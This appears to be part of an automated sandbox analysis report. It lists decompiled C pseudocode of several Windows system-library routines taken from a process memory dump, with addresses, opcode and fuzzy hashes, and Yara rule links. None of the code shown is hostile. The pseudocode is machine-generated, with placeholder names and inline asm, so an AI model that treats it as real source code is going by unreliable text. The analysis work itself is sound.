					 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
					__eflags =  *((char*)(_t82 + 0xe5));
					if(__eflags != 0) {
						E1E4688F5(__ebx, _t70, _t78, _t82, __esi, __eflags);
						goto L12;
					} else {
						__eflags =  *((char*)(_t82 + 0xe4));
						if( *((char*)(_t82 + 0xe4)) == 0) {
							 *((char*)(_t82 + 0xe4)) = 1;
							_push(_t82);
							_push( *((intOrPtr*)(_t82 + 0x24)));
							E1E3DAFD0();
						}
						while(1) {
							_t60 = _t82 + 8;
							 *(_t85 - 0x2c) = _t60;
							_t68 =  *_t60;
							_t80 = _t60[1];
							 *(_t85 - 0x28) = _t68;
							 *(_t85 - 0x24) = _t80;
							while(1) {
								L10:
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t84 = _t68;
								 *(_t85 - 0x30) = _t80;
								 *(_t85 - 0x24) = _t80 - 1;
								asm("lock cmpxchg8b [edi]");
								_t68 = _t84;
								 *(_t85 - 0x28) = _t68;
								 *(_t85 - 0x24) = _t80;
								__eflags = _t68 - _t84;
								_t82 =  *((intOrPtr*)(_t85 + 8));
								if(_t68 != _t84) {
									continue;
								}
								__eflags = _t80 -  *(_t85 - 0x30);
								if(_t80 !=  *(_t85 - 0x30)) {
									continue;
								}
								__eflags = _t80;
								if(_t80 == 0) {
									break;
								}
								_t63 = 0;
								 *(_t85 - 0x34) = 0;
								_t84 = 0;
								__eflags = 0;
								while(1) {
									 *(_t85 - 0x3c) = _t84;
									__eflags = _t84 - 3;
									if(_t84 >= 3) {
										break;
									}
									__eflags = _t63;
									if(_t63 != 0) {
										L40:
										_t84 =  *_t63;
										__eflags = _t84;
										if(_t84 != 0) {
											_t84 =  *(_t84 + 4);
											__eflags = _t84;
											if(_t84 != 0) {
												 *0x1e48b1e0(_t63, _t82);
												 *_t84();
											}
										}
										do {
											_t60 = _t82 + 8;
											 *(_t85 - 0x2c) = _t60;
											_t68 =  *_t60;
											_t80 = _t60[1];
											 *(_t85 - 0x28) = _t68;
											 *(_t85 - 0x24) = _t80;
											goto L10;
										} while (_t63 == 0);
										goto L40;
									}
									_t69 = 0;
									__eflags = 0;
									while(1) {
										 *(_t85 - 0x38) = _t69;
										__eflags = _t69 -  *0x1e4884c0;
										if(_t69 >=  *0x1e4884c0) {
											break;
										}
										__eflags = _t63;
										if(_t63 != 0) {
											break;
										}
										_t66 = E1E469063(_t69 * 0xc +  *((intOrPtr*)(_t82 + 0x10 + _t84 * 4)), _t80, _t82);
										__eflags = _t66;
										if(_t66 == 0) {
											_t63 = 0;
											__eflags = 0;
										} else {
											_t63 = _t66 + 0xfffffff4;
										}
										 *(_t85 - 0x34) = _t63;
										_t69 = _t69 + 1;
									}
									_t84 = _t84 + 1;
								}
								__eflags = _t63;
							}
							 *((intOrPtr*)(_t82 + 0xf4)) =  *((intOrPtr*)(_t85 + 4));
							 *((char*)(_t82 + 0xe5)) = 1;
							 *((char*)(_t85 - 0x1d)) = 1;
							L12:
							 *(_t85 - 4) = 0xfffffffe;
							E1E39922A(_t82);
							_t53 = E1E3B7D50();
							__eflags = _t53;
							if(_t53 != 0) {
								_t56 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							} else {
								_t56 = 0x7ffe0386;
							}
							__eflags =  *_t56;
							if( *_t56 != 0) {
								_t56 = E1E468B58(_t82);
							}
							__eflags =  *((char*)(_t85 - 0x1d));
							if( *((char*)(_t85 - 0x1d)) != 0) {
								__eflags = _t82 -  *0x1e4886c0; // 0x8507b0
								if(__eflags != 0) {
									__eflags = _t82 -  *0x1e4886b8; // 0x8a26e8
									if(__eflags == 0) {
										_t79 = 0x1e4886bc;
										_t72 = 0x1e4886b8;
										goto L18;
									}
									__eflags = _t56 | 0xffffffff;
									asm("lock xadd [edi], eax");
									if(__eflags == 0) {
										E1E399240(_t68, _t82, _t82, _t84, __eflags);
									}
								} else {
									_t79 = 0x1e4886c4;
									_t72 = 0x1e4886c0;
									L18:
									E1E3C9B82(_t68, _t72, _t79, _t82, _t84, __eflags);
								}
							}
							goto L5;
						}
					}
				}
			}

0x1e399100
0x1e399100
0x1e399100
0x1e399100
0x1e399102
0x1e399107
0x1e39910c
0x1e399110
0x1e399115
0x1e399136
0x1e399143
0x1e3f37e4
0x1e3f37e4
0x1e399149
0x1e39914e
0x1e39914e
0x1e399117
0x1e39911d
0x00000000
0x00000000
0x1e39911f
0x1e399125
0x00000000
0x1e399151
0x1e399158
0x1e39915d
0x1e399161
0x1e399168
0x1e3f3715
0x00000000
0x1e39916e
0x1e39916e
0x1e399175
0x1e399177
0x1e39917e
0x1e39917f
0x1e399182
0x1e399182
0x1e399187
0x1e399187
0x1e39918a
0x1e39918d
0x1e39918f
0x1e399192
0x1e399195
0x1e399198
0x1e399198
0x1e399198
0x1e39919a
0x00000000
0x00000000
0x1e3f371f
0x1e3f3721
0x1e3f3727
0x1e3f372f
0x1e3f3733
0x1e3f3735
0x1e3f3738
0x1e3f373b
0x1e3f373d
0x1e3f3740
0x00000000
0x00000000
0x1e3f3746
0x1e3f3749
0x00000000
0x00000000
0x1e3f374f
0x1e3f3751
0x00000000
0x00000000
0x1e3f3757
0x1e3f3759
0x1e3f375c
0x1e3f375c
0x1e3f375e
0x1e3f375e
0x1e3f3761
0x1e3f3764
0x00000000
0x00000000
0x1e3f3766
0x1e3f3768
0x1e3f37a3
0x1e3f37a3
0x1e3f37a5
0x1e3f37a7
0x1e3f37ad
0x1e3f37b0
0x1e3f37b2
0x1e3f37bc
0x1e3f37c2
0x1e3f37c2
0x1e3f37b2
0x1e399187
0x1e399187
0x1e39918a
0x1e39918d
0x1e39918f
0x1e399192
0x1e399195
0x00000000
0x1e399195
0x00000000
0x1e399187
0x1e3f376a
0x1e3f376a
0x1e3f376c
0x1e3f376c
0x1e3f376f
0x1e3f3775
0x00000000
0x00000000
0x1e3f3777
0x1e3f3779
0x00000000
0x00000000
0x1e3f3782
0x1e3f3787
0x1e3f3789
0x1e3f3790
0x1e3f3790
0x1e3f378b
0x1e3f378b
0x1e3f378b
0x1e3f3792
0x1e3f3795
0x1e3f3795
0x1e3f3798
0x1e3f3798
0x1e3f379b
0x1e3f379b
0x1e3991a3
0x1e3991a9
0x1e3991b0
0x1e3991b4
0x1e3991b4
0x1e3991bb
0x1e3991c0
0x1e3991c5
0x1e3991c7
0x1e3f37da
0x1e3991cd
0x1e3991cd
0x1e3991cd
0x1e3991d2
0x1e3991d5
0x1e399239
0x1e399239
0x1e3991d7
0x1e3991db
0x1e3991e1
0x1e3991e7
0x1e3991fd
0x1e399203
0x1e39921e
0x1e399223
0x00000000
0x1e399223
0x1e399205
0x1e399208
0x1e39920c
0x1e399214
0x1e399214
0x1e3991e9
0x1e3991e9
0x1e3991ee
0x1e3991f3
0x1e3991f3
0x1e3991f3
0x1e3991e7
0x00000000
0x1e3991db
0x1e399187
0x1e399168

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51157387aaf92c4e26e1767454d25142b964f81ecb98d1992325a3150f8fc493
Instruction ID: 937f5842c07ed89418698a3dc5135003a38337dd3c8453c75b959896478d6015
Opcode Fuzzy Hash: 51157387aaf92c4e26e1767454d25142b964f81ecb98d1992325a3150f8fc493
Instruction Fuzzy Hash: 6631DEB5A012C7DFEB15CFA9D488B9CBBB2BB8C350F58874AC40467241C335A980DB52

Uniqueness

Uniqueness Score: -1.00%

Function 1E416C0A, Relevance: .1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E1E416C0A(signed short* __ecx, signed char __edx, signed char _a4, signed char _a8) {
				signed short* _v8;
				signed char _v12;
				void* _t22;
				signed char* _t23;
				intOrPtr _t24;
				signed short* _t44;
				void* _t47;
				signed char* _t56;
				signed char* _t58;

				_t48 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t44 = __ecx;
				_v12 = __edx;
				_v8 = __ecx;
				_t22 = E1E3B7D50();
				_t58 = 0x7ffe0384;
				if(_t22 == 0) {
					_t23 = 0x7ffe0384;
				} else {
					_t23 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t23 != 0) {
					_t24 =  *0x1e487b9c; // 0x0
					_t47 = ( *_t44 & 0x0000ffff) + 0x30;
					_t23 = L1E3B4620(_t48,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t24 + 0x180000, _t47);
					_t56 = _t23;
					if(_t56 != 0) {
						_t56[0x24] = _a4;
						_t56[0x28] = _a8;
						_t56[6] = 0x1420;
						_t56[0x20] = _v12;
						_t14 =  &(_t56[0x2c]); // 0x2c
						E1E3DF3E0(_t14, _v8[2],  *_v8 & 0x0000ffff);
						_t56[0x2c + (( *_v8 & 0x0000ffff) >> 1) * 2] = 0;
						if(E1E3B7D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						_push(_t56);
						_push(_t47 - 0x20);
						_push(0x402);
						_push( *_t58 & 0x000000ff);
						E1E3D9AE0();
						_t23 = L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t56);
					}
				}
				return _t23;
			}

0x1e416c0a
0x1e416c0f
0x1e416c10
0x1e416c13
0x1e416c15
0x1e416c19
0x1e416c1c
0x1e416c21
0x1e416c28
0x1e416c3a
0x1e416c2a
0x1e416c33
0x1e416c33
0x1e416c3f
0x1e416c48
0x1e416c4d
0x1e416c60
0x1e416c65
0x1e416c69
0x1e416c73
0x1e416c79
0x1e416c7f
0x1e416c86
0x1e416c90
0x1e416c94
0x1e416ca6
0x1e416cb2
0x1e416cbd
0x1e416cbd
0x1e416cc3
0x1e416cc7
0x1e416ccb
0x1e416cd0
0x1e416cd1
0x1e416ce2
0x1e416ce2
0x1e416c69
0x1e416ced

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f0e4ddddbad1bdfdd16aa538d27ccc8e9703801489e8a9857c2b52048dcb000
Instruction ID: 3aafb419b2b471fde381761b10af78a67c37130129e749ec08e3553f397108af
Opcode Fuzzy Hash: 8f0e4ddddbad1bdfdd16aa538d27ccc8e9703801489e8a9857c2b52048dcb000
Instruction Fuzzy Hash: F0219E75A00644AFC711CB58D980F65B7B8FF48740F0406AAF805CBB51E734ED10CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 1E3D90AF, Relevance: .1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E1E3D90AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E1E3ED4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(E1E3CE5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L1E3B4620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E1E3DF3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E1E3CA2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}

0x1e3d90af
0x1e3d90b8
0x1e3d90bb
0x1e3d90bf
0x1e3d90c2
0x1e3d90c2
0x1e3d90c8
0x1e3d90cb
0x1e3d90cd
0x1e4114d7
0x1e4114eb
0x1e4114eb
0x00000000
0x1e4114eb
0x1e4114db
0x1e4114e6
0x00000000
0x1e4114f2
0x1e4114e8
0x00000000
0x1e4114e8
0x1e3d90d8
0x1e3d90da
0x1e3d90dd
0x1e3d90e5
0x00000000
0x1e3d9139
0x1e3d90fa
0x1e3d90fe
0x1e3d9142
0x00000000
0x1e3d9142
0x1e3d9104
0x1e3d9107
0x1e3d910b
0x1e3d9110
0x1e3d9118
0x1e3d9147
0x1e3d9148
0x1e3d914f
0x1e3d9150
0x1e3d9151
0x1e3d9152
0x1e3d9156
0x1e3d915d
0x1e3d9160
0x1e3d9168
0x1e3d916c
0x1e3d91bc
0x1e3d91be
0x00000000
0x1e3d91be
0x1e3d916e
0x1e3d9173
0x1e3d9176
0x00000000
0x00000000
0x1e3d917c
0x1e3d9180
0x1e3d91b5
0x00000000
0x1e3d91b5
0x1e3d9182
0x1e3d9185
0x1e3d9189
0x00000000
0x00000000
0x1e3d918e
0x1e3d9190
0x1e3d9198
0x00000000
0x00000000
0x1e3d91a0
0x00000000
0x1e3d91ad
0x1e3d91ad
0x1e3d91b0
0x1e3d91b1
0x00000000
0x1e3d9185
0x1e3d911a
0x1e3d911c
0x1e3d911f
0x1e3d9125
0x1e3d9127
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction ID: 0208cfc21667aa0805e2614688e1c9510eccd99d066f1ad7a8a64d467d2ebcc7
Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction Fuzzy Hash: B5218076A00345EFDB20CF5AC844A9AB7F9FF48710F158A6AE945AB300D370ED44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C3B7A, Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E1E3C3B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0x1e4884c4; // 0x0
				_v12 = 1;
				_v8 =  *0x1e4884c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L1E3B4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0x1e4884c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E1E3DAA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E1E3DFA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0x1e4884c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0x1e4884c4; // 0x0
					L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}

0x1e3c3b89
0x1e3c3b96
0x1e3c3ba1
0x1e3c3bab
0x1e3c3bb5
0x1e3c3bb9
0x1e406298
0x1e3c3bbf
0x1e3c3bc2
0x1e3c3bc3
0x1e3c3bc9
0x1e3c3bca
0x1e3c3bcc
0x1e3c3bcd
0x1e3c3bd4
0x1e3c3bd6
0x1e3c3bdb
0x1e3c3bea
0x1e3c3bf7
0x1e3c3bfb
0x1e3c3bff
0x1e3c3c09
0x1e3c3c0a
0x1e3c3c0b
0x1e3c3c0f
0x1e3c3c14
0x1e3c3c18
0x1e3c3c18
0x1e3c3bfb
0x1e3c3c1b
0x1e3c3c30
0x1e3c3c30
0x1e3c3c3d

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67abdc2f460622766d405be386ffc5f8fc950d9da8bb658227fd7e41f98d39b8
Instruction ID: ec13f4cd2b3060310e0d38803fc5690908d46d2f6c97ff4b67ced0ac92c7569e
Opcode Fuzzy Hash: 67abdc2f460622766d405be386ffc5f8fc950d9da8bb658227fd7e41f98d39b8
Instruction Fuzzy Hash: A5218072A00114AFD701CF98DD81F5AB7BDFB44708F1506A9E505AB251D371EE058BA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E416CF0, Relevance: .1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E1E416CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(E1E3B7D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(E1E3B7D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0x1e375c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = E1E3CF6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = E1E3CF6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E1E417016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L1E3B2400( &_v52);
								}
								_t21 = L1E3B2400( &_v28);
							}
						}
					}
				}
				return _t21;
			}

0x1e416cfb
0x1e416d00
0x1e416d02
0x1e416d06
0x1e416d0a
0x1e416d0e
0x1e416d19
0x1e416d2b
0x1e416d1b
0x1e416d24
0x1e416d24
0x1e416d33
0x1e416d39
0x1e416d46
0x1e416d4f
0x1e416d61
0x1e416d51
0x1e416d5a
0x1e416d5a
0x1e416d69
0x1e416d6b
0x1e416d6d
0x1e416d6f
0x1e416d6f
0x1e416d74
0x1e416d79
0x1e416d7a
0x1e416d7f
0x1e416d82
0x1e416d88
0x1e416d89
0x1e416d90
0x1e416d94
0x1e416da7
0x1e416db1
0x1e416db1
0x1e416dbb
0x1e416dbb
0x1e416d90
0x1e416d69
0x1e416d46
0x1e416dc6

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f39861fb595e4ea26951b72ad6d0f9c550167dde4741d80abfe82934643dea4e
Instruction ID: 44dd97d29e6e52ac2363345f96e08fe08967094983d1c45a0eeacaa397b10dad
Opcode Fuzzy Hash: f39861fb595e4ea26951b72ad6d0f9c550167dde4741d80abfe82934643dea4e
Instruction Fuzzy Hash: AF21C2725043859BCB01DF29C944B5BB7EDEF82684F050B9BF940CB251E734E909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 1E46070D, Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E1E46070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				char _v8;
				intOrPtr _v11;
				signed int _v12;
				intOrPtr _v15;
				signed int _v16;
				intOrPtr _v28;
				void* __ebx;
				char* _t32;
				signed int* _t38;
				signed int _t60;

				_t38 = __ecx;
				_v16 = __edx;
				_t60 = E1E4607DF(__ecx, __edx,  &_a4,  &_a8, 2);
				if(_t60 != 0) {
					_t7 = _t38 + 0x38; // 0x29cd5903
					_push( *_t7);
					_t9 = _t38 + 0x34; // 0x6adeeb00
					_push( *_t9);
					_v12 = _a8 << 0xc;
					_t11 = _t38 + 4; // 0x5de58b5b
					_push(0x4000);
					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
					E1E45AFDE( &_v8,  &_v12);
					E1E461293(_t38, _v28, _t60);
					if(E1E3B7D50() == 0) {
						_t32 = 0x7ffe0380;
					} else {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						_t21 = _t38 + 0x3c; // 0xc3595e5f
						E1E4514FB(_t38,  *_t21, _v11, _v15, 0xd);
					}
				}
				return  ~_t60;
			}

0x1e46071b
0x1e460724
0x1e460734
0x1e460738
0x1e46074b
0x1e46074b
0x1e460753
0x1e460753
0x1e460759
0x1e46075d
0x1e460774
0x1e460779
0x1e46077d
0x1e460789
0x1e460795
0x1e4607a7
0x1e460797
0x1e4607a0
0x1e4607a0
0x1e4607af
0x1e4607c4
0x1e4607cd
0x1e4607cd
0x1e4607af
0x1e4607dc

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction ID: aad596c4fe169a9823141bf3c66d1cc188cd427ecef563cb922600edf7c3dda0
Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction Fuzzy Hash: CB21C53A6042449FD715CF18C890A6A7BE6EFC4750F048A6EF9959F385D730ED09CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E3BAE73, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E1E3BAE73(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				void* _t19;
				char* _t22;
				signed char* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t31;
				intOrPtr _t36;
				char* _t38;
				signed char* _t42;

				_push(__ecx);
				_t31 = __edx;
				_v8 = __ecx;
				_t19 = E1E3B7D50();
				_t38 = 0x7ffe0384;
				if(_t19 != 0) {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t22 = 0x7ffe0384;
				}
				_t42 = 0x7ffe0385;
				if( *_t22 != 0) {
					if(E1E3B7D50() == 0) {
						_t24 = 0x7ffe0385;
					} else {
						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t24 & 0x00000010) != 0) {
						goto L17;
					} else {
						goto L3;
					}
				} else {
					L3:
					_t27 = E1E3B7D50();
					if(_t27 != 0) {
						_t27 =  *[fs:0x30];
						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
					}
					if( *_t38 != 0) {
						_t27 =  *[fs:0x30];
						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						_t27 = E1E3B7D50();
						if(_t27 != 0) {
							_t27 =  *[fs:0x30];
							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
						}
						if(( *_t42 & 0x00000020) != 0) {
							L17:
							_t25 = _v8;
							_t36 = 0;
							if(_t25 != 0) {
								_t36 =  *((intOrPtr*)(_t25 + 0x18));
							}
							_t27 = E1E417794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
						}
						goto L5;
					} else {
						L5:
						return _t27;
					}
				}
			}

0x1e3bae78
0x1e3bae7c
0x1e3bae7e
0x1e3bae81
0x1e3bae86
0x1e3bae8d
0x1e402691
0x1e3bae93
0x1e3bae93
0x1e3bae93
0x1e3bae98
0x1e3bae9d
0x1e4026a2
0x1e4026b4
0x1e4026a4
0x1e4026ad
0x1e4026ad
0x1e4026b9
0x00000000
0x1e4026bb
0x00000000
0x1e4026bb
0x1e3baea3
0x1e3baea3
0x1e3baea3
0x1e3baeaa
0x1e4026c0
0x1e4026c9
0x1e4026c9
0x1e3baeb3
0x1e4026d4
0x1e4026e1
0x00000000
0x00000000
0x1e4026e7
0x1e4026ee
0x1e4026f0
0x1e4026f9
0x1e4026f9
0x1e402702
0x1e402708
0x1e402708
0x1e40270b
0x1e40270f
0x1e402711
0x1e402711
0x1e402725
0x1e402725
0x00000000
0x1e3baeb9
0x1e3baeb9
0x1e3baebf
0x1e3baebf
0x1e3baeb3

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction ID: 4694796c46af584f4a44e5a9197bc0526e8d2f5315a1cb270631d183decfde8d
Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction Fuzzy Hash: 9121F2316116C19FD7028B25C944B5537EAEF80A80F090AB1DC058BB92D734EC41C794

Uniqueness

Uniqueness Score: -1.00%

Function 1E417794, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E1E417794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t21;
				void* _t24;
				intOrPtr _t25;
				void* _t36;
				short _t39;
				signed char* _t42;
				unsigned int _t46;
				void* _t50;

				_push(__ecx);
				_push(__ecx);
				_t21 =  *0x1e487b9c; // 0x0
				_t46 = _a8;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 = _t46 + 0x2e; // 0x2e
				_t36 = _t4;
				_t24 = L1E3B4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
				_t50 = _t24;
				if(_t50 != 0) {
					_t25 = _a4;
					if(_t25 == 5) {
						L3:
						_t39 = 0x14b1;
					} else {
						_t39 = 0x14b0;
						if(_t25 == 6) {
							goto L3;
						}
					}
					 *((short*)(_t50 + 6)) = _t39;
					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
					_t11 = _t50 + 0x2c; // 0x2c
					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
					E1E3DF3E0(_t11, _a12, _t46);
